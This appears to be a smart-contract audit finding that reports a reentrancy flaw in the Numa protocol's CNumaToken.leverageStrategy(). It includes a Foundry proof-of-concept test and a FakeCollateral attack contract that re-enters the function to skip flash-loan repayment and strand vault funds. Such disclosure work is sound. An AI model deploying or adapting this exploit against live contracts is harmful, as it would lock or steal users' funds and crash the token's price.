Skip to content

Latest commit

 

History

History
190 lines (133 loc) · 7.07 KB

039.md

File metadata and controls

190 lines (133 loc) · 7.07 KB

Small Shamrock Rook

High

CNumaToken.leverageStrategy() can be re-entered, causing all the vault funds to be moved to a cToken, crashing NUMA price.

Summary

CNumaToken.leverageStrategy() has a _collateral token parameter which allows an attacker to pass in a custom _collateral token, which acts as a wrapper around the actual collateral token, while also receiving callbacks to enable reentrancy.

This allows the flash loan repayment to be avoided, causing a large chunk of the vault's fund to be stuck in the cNuma contract, severely dumping the NUMA price.

Root Cause

Allowing the user to pass in the _collateral token enables reentrancy, allowing them to call leverageStrategy() again. Then when repayLeverage() is called in the reentrant call, the leverageDebt in the vault is set to 0, even though the first call still has not repaid it's leverageDebt.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

This exact attack is shown in the PoC. It involves a specially crafted FakeCollateral contract which is a wrapper around the underlying collateral, which ensures that the attack does not revert.

  1. Attacker calls cNuma.leverageStrategy(), with _collateral=FakeCollateral, and a large _borrowAmount
  2. The FakeCollateral contract re-enters the cNuma contract, calling leverageStrategy() again, with a small _borrowAmount
  3. The reentrant call to leverageStrategy() finishes by calling vault.repayLeverage() which sets leverageDebt to 0.
  4. Since leverageDebt is equal to 0, when it comes time for the initial `leverageStrategy()'s borrow to be repaid, none will be repaid. This causes the entire borrowed funds to be stuck in cNuma.

Impact

Large amounts of LST can be pulled from the vault into the CNuma contract. This dumps the NUMA price since it depends on the ETH balance of the vault. These LSTs will be permanently lost and stuck.

PoC

The PoC demonstrates moving 10% of the vault's funds into the cNuma contract where it can't be retrieved.

Add the foundry test to Lending.t.sol

function test_reentrancy_leverageStrategy() public {
        vm.startPrank(userA);
        address[] memory t = new address[](2);
        t[0] = address(cReth);
        t[1] = address(cNuma);
        comptroller.enterMarkets(t);

        // mint cNuma so that we can borrow numa later
        uint depositAmount = 9e24;
        numa.approve(address(cNuma), depositAmount);
        cNuma.mint(depositAmount);

        // To be used as collateral to borrow NUMA
        deal(address(rEth), userA, 1e24 + providedAmount);
        rEth.approve(address(cReth), 1e24);
        cReth.mint(1e24);

        uint256 vaultRethBefore = rEth.balanceOf(address(cNuma.vault()));
        uint reth_in_cNuma = rEth.balanceOf(address(cNuma));

        rEth.approve(address(cNuma), providedAmount);

        // Setting up fake collateral token (which interacts with rETH)
        FakeCollateral fake_cReth = new FakeCollateral(address(cReth), address(rEth), userA, comptroller);

        // Sending it a tiny amount of cReth, so it can re-enter cNuma.leverageStrategy()
        cReth.transfer(address(fake_cReth), 5e10 / 2);

        // call strategy
        uint256 borrowAmount = 1e24;

        uint strategyindex = 0;
        cNuma.leverageStrategy(
            providedAmount,
            borrowAmount,
            CNumaToken(address(fake_cReth)),
            strategyindex
        );

        // check balances
        // cnuma position
        uint256 vaultRethAfter = rEth.balanceOf(address(cNuma.vault()));
        uint reth_in_cNuma_After = rEth.balanceOf(address(cNuma));
        
        // Shows that the rETH balance of the cNuma token contract has gone up by `borrowAmount` (since flash loan was not repaid)
        console.log("cNUMA rETH balance: %e->%e (stuck funds)", reth_in_cNuma, reth_in_cNuma_After);
        assertEq(reth_in_cNuma_After - reth_in_cNuma, borrowAmount);
    }

Also add the following attack contract to a new file FakeCollateral.sol in the same directory as Lending.t.sol

Attack contract
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "forge-std/console.sol";
import "@openzeppelin/contracts_5.0.2/token/ERC20/ERC20.sol";

import {IUniswapV3Pool} from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/libraries/FullMath.sol";

import "@uniswap/v3-core/contracts/libraries/FixedPoint96.sol";
import "./uniV3Interfaces/ISwapRouter.sol";

import {NumaComptroller} from "../lending/NumaComptroller.sol";

import {NumaLeverageLPSwap} from "../Test/mocks/NumaLeverageLPSwap.sol";

import "../lending/ExponentialNoError.sol";
import "../lending/INumaLeverageStrategy.sol";
import "../lending/CToken.sol";
import "../lending/CNumaToken.sol";

import {Setup} from "./utils/SetupDeployNuma_Arbitrum.sol";

import {console} from "forge-std/console.sol";
contract FakeCollateral {

    CNumaToken actualCollateral;
    ERC20 actualUnderlying;
    address public user;

    bool entered = false;
    NumaComptroller comptroller;
    constructor(address _actualCollateral, address _underlying, address _user, NumaComptroller _comptroller) {
        actualCollateral = CNumaToken(_actualCollateral);
        actualUnderlying = ERC20(actualCollateral.underlying());
        user = _user;
        comptroller = _comptroller;

        address[] memory t = new address[](1);
        t[0] = address(actualCollateral);
        comptroller.enterMarkets(t);
    }

    function underlying() external view returns(address) {
        return address(actualUnderlying);
    }

    function accrueInterest() public returns (uint) {
        return 0;
    }
    
    function mint(uint256 amt) external returns (uint) {
        actualUnderlying.transferFrom(msg.sender, address(this), amt);
        actualUnderlying.approve(address(actualCollateral), amt);

        uint256 balanceBefore = actualCollateral.balanceOf(address(this));
        actualCollateral.mint(amt);
        uint256 balanceAfter = actualCollateral.balanceOf(address(this));

        if (balanceAfter - balanceBefore > 0) {
             // transfer most of it to the user
             console.log("transferring %e cTokens to user", balanceAfter - balanceBefore - 1 wei);
            actualCollateral.transfer(user, balanceAfter - balanceBefore - 1 wei);
        }
       
        // transfer 1 wei to msg.sender to prevent revert
        actualCollateral.transfer(msg.sender, 1 wei);

    }

    function transfer(address to, uint amt) external returns(bool truth){
        // re-enter for another leverage play

        if (!entered) {
            entered = true;

            CNumaToken(msg.sender).leverageStrategy(0, 1e15, CNumaToken(address(this)), 0);
            return true;
        }
        return true;
    }

    function balanceOf(address addy) public view returns(uint) {
        return actualCollateral.balanceOf(addy);
    }
    

}

Mitigation

No response